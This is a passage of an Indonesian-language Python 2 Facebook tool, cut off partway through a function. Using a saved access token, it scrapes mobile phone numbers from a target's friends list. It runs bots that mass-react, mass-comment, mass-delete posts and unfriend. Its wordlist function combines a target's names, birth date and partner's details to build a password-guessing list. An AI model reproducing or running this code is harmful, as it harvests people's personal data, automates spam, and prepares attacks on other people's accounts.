'\x1b[1;97m\xe2\x95\x90' 1297 | except KeyError: 1298 | pass 1299 | 1300 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) 1301 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms 1302 | no.close() 1303 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1304 | grab() 1305 | except IOError: 1306 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1307 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1308 | grab() 1309 | except (KeyboardInterrupt, EOFError): 1310 | print '\x1b[1;91m[!] Terhenti' 1311 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1312 | grab() 1313 | except KeyError: 1314 | os.remove(noms) 1315 | print '\x1b[1;91m[!] Kesalahan terjadi' 1316 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1317 | grab() 1318 | except requests.exceptions.ConnectionError: 1319 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1320 | keluar() 1321 | 1322 | 1323 | def hpfrom_teman(): 1324 | os.system('reset') 1325 | try: 1326 | toket = open('login.txt', 'r').read() 1327 | except IOError: 1328 | print '\x1b[1;91m[!] Token tidak ditemukan' 1329 | os.system('rm -rf login.txt') 1330 | time.sleep(1) 1331 | login() 1332 | else: 1333 | try: 1334 | os.system('reset') 1335 | print logo 1336 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1337 | idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') 1338 | try: 1339 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 1340 | op = json.loads(jok.text) 1341 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] 1342 | except KeyError: 1343 | print '\x1b[1;91m[!] Belum berteman' 1344 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1345 | grab() 1346 | 1347 | noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1348 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 1349 | a = json.loads(r.text) 1350 | no = open(noms, 'w') 1351 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1352 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1353 | for i in a['data']: 1354 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 1355 | z = json.loads(x.text) 1356 | try: 1357 | hpfromteman.append(z['mobile_phone']) 1358 | no.write(z['mobile_phone'] + '\n') 1359 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1360 | print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] 1361 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1362 | except KeyError: 1363 | pass 1364 | 1365 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) 1366 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms 1367 | no.close() 1368 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1369 | grab() 1370 | except IOError: 1371 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1372 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1373 | grab() 1374 | except (KeyboardInterrupt, EOFError): 1375 | print '\x1b[1;91m[!] Terhenti' 1376 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1377 | grab() 1378 | except requests.exceptions.ConnectionError: 1379 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1380 | keluar() 1381 | 1382 | 1383 | def menu_bot(): 1384 | os.system('reset') 1385 | try: 1386 | toket = open('login.txt', 'r').read() 1387 | except IOError: 1388 | print '\x1b[1;91m[!] Token tidak ditemukan' 1389 | os.system('rm -rf login.txt') 1390 | time.sleep(1) 1391 | login() 1392 | 1393 | os.system('reset') 1394 | print logo 1395 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1396 | print '\x1b[1;37;40m1. Bot Reactions Target Post' 1397 | print '\x1b[1;37;40m2. Bot Reactions Grup Post' 1398 | print '\x1b[1;37;40m3. Bot Komen Target Post' 1399 | print '\x1b[1;37;40m4. Bot Komen Grup Post' 1400 | print '\x1b[1;37;40m5. Mass delete Post' 1401 | print '\x1b[1;37;40m6. Terima permintaan pertemanan' 1402 | print '\x1b[1;37;40m7. Hapus pertemanan' 1403 | print '\x1b[1;31;40m0. Kembali' 1404 | print 1405 | bot_pilih() 1406 | 1407 | 1408 | def bot_pilih(): 1409 | bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1410 | if bots == '': 1411 | print '\x1b[1;91m[!] Jangan kosong' 1412 | bot_pilih() 1413 | else: 1414 | if bots == '1': 1415 | menu_react() 1416 | else: 1417 | if bots == '2': 1418 | grup_react() 1419 | else: 1420 | if bots == '3': 1421 | bot_komen() 1422 | else: 1423 | if bots == '4': 1424 | grup_komen() 1425 | else: 1426 | if bots == '5': 1427 | deletepost() 1428 | else: 1429 | if bots == '6': 1430 | accept() 1431 | else: 1432 | if bots == '7': 1433 | unfriend() 1434 | else: 1435 | if bots == '0': 1436 | menu() 1437 | else: 1438 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' 1439 | bot_pilih() 1440 | 1441 | 1442 | def menu_react(): 1443 | os.system('reset') 1444 | try: 1445 | toket = open('login.txt', 'r').read() 1446 | except IOError: 1447 | print '\x1b[1;91m[!] Token tidak ditemukan' 1448 | os.system('rm -rf login.txt') 1449 | time.sleep(1) 1450 | login() 1451 | 1452 | os.system('reset') 1453 | print logo 1454 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1455 | print '\x1b[1;37;40m1. \x1b[1;97mLike' 1456 | print '\x1b[1;37;40m2. \x1b[1;97mLove' 1457 | print '\x1b[1;37;40m3. \x1b[1;97mWow' 1458 | print '\x1b[1;37;40m4. \x1b[1;97mHaha' 1459 | print '\x1b[1;37;40m5. \x1b[1;97mSedih' 1460 | print '\x1b[1;37;40m6. \x1b[1;97mMarah' 1461 | print '\x1b[1;31;40m0. Kembali' 1462 | print 1463 | react_pilih() 1464 | 1465 | 1466 | def react_pilih(): 1467 | global tipe 1468 | aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1469 | if aksi == '': 1470 | print '\x1b[1;91m[!] Jangan kosong' 1471 | react_pilih() 1472 | else: 1473 | if aksi == '1': 1474 | tipe = 'LIKE' 1475 | react() 1476 | else: 1477 | if aksi == '2': 1478 | tipe = 'LOVE' 1479 | react() 1480 | else: 1481 | if aksi == '3': 1482 | tipe = 'WOW' 1483 | react() 1484 | else: 1485 | if aksi == '4': 1486 | tipe = 'HAHA' 1487 | react() 1488 | else: 1489 | if aksi == '5': 1490 | tipe = 'SAD' 1491 | react() 1492 | else: 1493 | if aksi == '6': 1494 | tipe = 'ANGRY' 1495 | react() 1496 | else: 1497 | if aksi == '0': 1498 | menu_bot() 1499 | else: 1500 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' 1501 | react_pilih() 1502 | 1503 | 1504 | def react(): 1505 | os.system('reset') 1506 | try: 1507 | toket = open('login.txt', 'r').read() 1508 | except IOError: 1509 | print '\x1b[1;91m[!] Token tidak ditemukan' 1510 | os.system('rm -rf login.txt') 1511 | time.sleep(1) 1512 | login() 1513 | else: 1514 | os.system('reset') 1515 | print logo 1516 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1517 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') 1518 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1519 | try: 1520 | oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1521 | ah = json.loads(oh.text) 1522 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1523 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1524 | for a in ah['feed']['data']: 1525 | y = a['id'] 1526 | reaksi.append(y) 1527 | requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) 1528 | print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe 1529 | 1530 | print 1531 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) 1532 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1533 | menu_bot() 1534 | except KeyError: 1535 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1536 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1537 | menu_bot() 1538 | 1539 | 1540 | def grup_react(): 1541 | os.system('reset') 1542 | try: 1543 | toket = open('login.txt', 'r').read() 1544 | except IOError: 1545 | print '\x1b[1;91m[!] Token tidak ditemukan' 1546 | os.system('rm -rf login.txt') 1547 | time.sleep(1) 1548 | login() 1549 | 1550 | os.system('reset') 1551 | print logo 1552 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1553 | print '\x1b[1;37;40m1. \x1b[1;97mLike' 1554 | print '\x1b[1;37;40m2. \x1b[1;97mLove' 1555 | print '\x1b[1;37;40m3. \x1b[1;97mWow' 1556 | print '\x1b[1;37;40m4. \x1b[1;97mHaha' 1557 | print '\x1b[1;37;40m5. \x1b[1;97mSedih' 1558 | print '\x1b[1;37;40m6. \x1b[1;97mMarah' 1559 | print '\x1b[1;31;40m0. Kembali' 1560 | print 1561 | reactg_pilih() 1562 | 1563 | 1564 | def reactg_pilih(): 1565 | global tipe 1566 | aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1567 | if aksi == '': 1568 | print '\x1b[1;91m[!] Jangan kosong' 1569 | reactg_pilih() 1570 | else: 1571 | if aksi == '1': 1572 | tipe = 'LIKE' 1573 | reactg() 1574 | else: 1575 | if aksi == '2': 1576 | tipe = 'LOVE' 1577 | reactg() 1578 | else: 1579 | if aksi == '3': 1580 | tipe = 'WOW' 1581 | reactg() 1582 | else: 1583 | if aksi == '4': 1584 | tipe = 'HAHA' 1585 | reactg() 1586 | else: 1587 | if aksi == '5': 1588 | tipe = 'SAD' 1589 | reactg() 1590 | else: 1591 | if aksi == '6': 1592 | tipe = 'ANGRY' 1593 | reactg() 1594 | else: 1595 | if aksi == '0': 1596 | menu_bot() 1597 | else: 1598 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' 1599 | reactg_pilih() 1600 | 1601 | 1602 | def reactg(): 1603 | os.system('reset') 1604 | try: 1605 | toket = open('login.txt', 'r').read() 1606 | except IOError: 1607 | print '\x1b[1;91m[!] Token tidak ditemukan' 1608 | os.system('rm -rf login.txt') 1609 | time.sleep(1) 1610 | login() 1611 | else: 1612 | os.system('reset') 1613 | print logo 1614 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1615 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') 1616 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1617 | ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) 1618 | asw = json.loads(ah.text) 1619 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 1620 | try: 1621 | oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1622 | ah = json.loads(oh.text) 1623 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1624 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1625 | for a in ah['feed']['data']: 1626 | y = a['id'] 1627 | reaksigrup.append(y) 1628 | requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) 1629 | print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe 1630 | 1631 | print 1632 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) 1633 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1634 | menu_bot() 1635 | except KeyError: 1636 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1637 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1638 | menu_bot() 1639 | 1640 | 1641 | def bot_komen(): 1642 | os.system('reset') 1643 | try: 1644 | toket = open('login.txt', 'r').read() 1645 | except IOError: 1646 | print '\x1b[1;91m[!] Token tidak ditemukan' 1647 | os.system('rm -rf login.txt') 1648 | time.sleep(1) 1649 | login() 1650 | else: 1651 | os.system('reset') 1652 | print logo 1653 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1654 | print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" 1655 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') 1656 | km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') 1657 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1658 | km = km.replace('<>', '\n') 1659 | try: 1660 | p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1661 | a = json.loads(p.text) 1662 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1663 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1664 | for s in a['feed']['data']: 1665 | f = s['id'] 1666 | komen.append(f) 1667 | requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) 1668 | print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' 1669 | 1670 | print 1671 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) 1672 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1673 | menu_bot() 1674 | except KeyError: 1675 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1676 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1677 | menu_bot() 1678 | 1679 | 1680 | def grup_komen(): 1681 | os.system('reset') 1682 | try: 1683 | toket = open('login.txt', 'r').read() 1684 | except IOError: 1685 | print '\x1b[1;91m[!] Token tidak ditemukan' 1686 | os.system('rm -rf login.txt') 1687 | time.sleep(1) 1688 | login() 1689 | else: 1690 | os.system('reset') 1691 | print logo 1692 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1693 | print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" 1694 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') 1695 | km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') 1696 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1697 | km = km.replace('<>', '\n') 1698 | try: 1699 | ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) 1700 | asw = json.loads(ah.text) 1701 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 1702 | p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1703 | a = json.loads(p.text) 1704 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1705 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1706 | for s in a['feed']['data']: 1707 | f = s['id'] 1708 | komengrup.append(f) 1709 | requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) 1710 | print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' 1711 | 1712 | print 1713 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) 1714 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1715 | menu_bot() 1716 | except KeyError: 1717 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1718 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1719 | menu_bot() 1720 | 1721 | 1722 | def deletepost(): 1723 | os.system('reset') 1724 | try: 1725 | toket = open('login.txt', 'r').read() 1726 | nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) 1727 | lol = json.loads(nam.text) 1728 | nama = lol['name'] 1729 | except IOError: 1730 | print '\x1b[1;91m[!] Token tidak ditemukan' 1731 | os.system('rm -rf login.txt') 1732 | time.sleep(1) 1733 | login() 1734 | 1735 | os.system('reset') 1736 | print logo 1737 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1738 | print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama 1739 | jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') 1740 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1741 | asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) 1742 | asus = json.loads(asu.text) 1743 | for p in asus['data']: 1744 | id = p['id'] 1745 | piro = 0 1746 | url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) 1747 | ok = json.loads(url.text) 1748 | try: 1749 | error = ok['error']['message'] 1750 | print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' 1751 | except TypeError: 1752 | print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' 1753 | piro += 1 1754 | except requests.exceptions.ConnectionError: 1755 | print '\x1b[1;91m[!] Koneksi Error' 1756 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1757 | menu_bot() 1758 | 1759 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 1760 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1761 | menu_bot() 1762 | 1763 | 1764 | def accept(): 1765 | os.system('reset') 1766 | try: 1767 | toket = open('login.txt', 'r').read() 1768 | except IOError: 1769 | print '\x1b[1;91m[!] Token tidak ditemukan' 1770 | os.system('rm -rf login.txt') 1771 | time.sleep(1) 1772 | login() 1773 | 1774 | os.system('reset') 1775 | print logo 1776 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1777 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1778 | r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) 1779 | teman = json.loads(r.text) 1780 | if '[]' in str(teman['data']): 1781 | print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' 1782 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1783 | menu_bot() 1784 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1785 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1786 | for i in teman['data']: 1787 | gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) 1788 | a = json.loads(gas.text) 1789 | if 'error' in str(a): 1790 | print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] 1791 | print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' 1792 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1793 | else: 1794 | print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] 1795 | print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' 1796 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1797 | 1798 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 1799 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1800 | menu_bot() 1801 | 1802 | 1803 | def unfriend(): 1804 | os.system('reset') 1805 | try: 1806 | toket = open('login.txt', 'r').read() 1807 | except IOError: 1808 | print '\x1b[1;91m[!] Token tidak ditemukan' 1809 | os.system('rm -rf login.txt') 1810 | time.sleep(1) 1811 | login() 1812 | else: 1813 | os.system('reset') 1814 | print logo 1815 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1816 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1817 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1818 | print '\x1b[1;97mStop \x1b[1;91mCTRL+C' 1819 | print 1820 | try: 1821 | pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 1822 | cok = json.loads(pek.text) 1823 | for i in cok['data']: 1824 | nama = i['name'] 1825 | id = i['id'] 1826 | requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) 1827 | print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id 1828 | 1829 | except IndexError: 1830 | pass 1831 | except KeyboardInterrupt: 1832 | print '\x1b[1;91m[!] Terhenti' 1833 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1834 | menu_bot() 1835 | 1836 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 1837 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1838 | menu_bot() 1839 | 1840 | 1841 | def lain(): 1842 | os.system('reset') 1843 | try: 1844 | toket = open('login.txt', 'r').read() 1845 | except IOError: 1846 | print '\x1b[1;91m[!] Token tidak ditemukan' 1847 | os.system('rm -rf login.txt') 1848 | time.sleep(1) 1849 | login() 1850 | 1851 | os.system('reset') 1852 | print logo 1853 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1854 | print '\x1b[1;37;40m1. Buat postingan' 1855 | print '\x1b[1;37;40m2. Buat Wordlist' 1856 | print '\x1b[1;37;40m3. Akun Checker' 1857 | print '\x1b[1;37;40m4. Lihat daftar grup' 1858 | print '\x1b[1;37;40m5. Profile Guard' 1859 | print 1860 | print '\x1b[1;97m ->Coming soon<-' 1861 | print 1862 | print '\x1b[1;31;40m0. Kembali' 1863 | print 1864 | pilih_lain() 1865 | 1866 | 1867 | def pilih_lain(): 1868 | other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1869 | if other == '': 1870 | print '\x1b[1;91m[!] Jangan kosong' 1871 | pilih_lain() 1872 | else: 1873 | if other == '1': 1874 | status() 1875 | else: 1876 | if other == '2': 1877 | wordlist() 1878 | else: 1879 | if other == '3': 1880 | check_akun() 1881 | else: 1882 | if other == '4': 1883 | grupsaya() 1884 | else: 1885 | if other == '5': 1886 | guard() 1887 | else: 1888 | if other == '0': 1889 | menu() 1890 | else: 1891 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' 1892 | pilih_lain() 1893 | 1894 | 1895 | def status(): 1896 | os.system('reset') 1897 | try: 1898 | toket = open('login.txt', 'r').read() 1899 | except IOError: 1900 | print '\x1b[1;91m[!] Token tidak ditemukan' 1901 | os.system('rm -rf login.txt') 1902 | time.sleep(1) 1903 | login() 1904 | 1905 | os.system('reset') 1906 | print logo 1907 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1908 | msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') 1909 | if msg == '': 1910 | print '\x1b[1;91m[!] Jangan kosong' 1911 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1912 | lain() 1913 | else: 1914 | res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) 1915 | op = json.loads(res.text) 1916 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1917 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1918 | print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] 1919 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1920 | lain() 1921 | 1922 | 1923 | def wordlist(): 1924 | os.system('reset') 1925 | try: 1926 | toket = open('login.txt', 'r').read() 1927 | except IOError: 1928 | print '\x1b[1;91m[!] Token tidak ditemukan' 1929 | os.system('rm -rf login.txt') 1930 | time.sleep(1) 1931 | login() 1932 | else: 1933 | try: 1934 | os.system('reset') 1935 | print logo 1936 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1937 | print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' 1938 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1939 | a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') 1940 | file = open(a + '.txt', 'w') 1941 | b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') 1942 | c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') 1943 | d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') 1944 | e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') 1945 | f = e[0:2] 1946 | g = e[2:4] 1947 | h = e[4:] 1948 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1949 | print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' 1950 | i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') 1951 | j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') 1952 | k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') 1953 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1954 | l = k[0:2] 1955 | m = k[2:4] 1956 | n = k[4:] 1957 | file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, 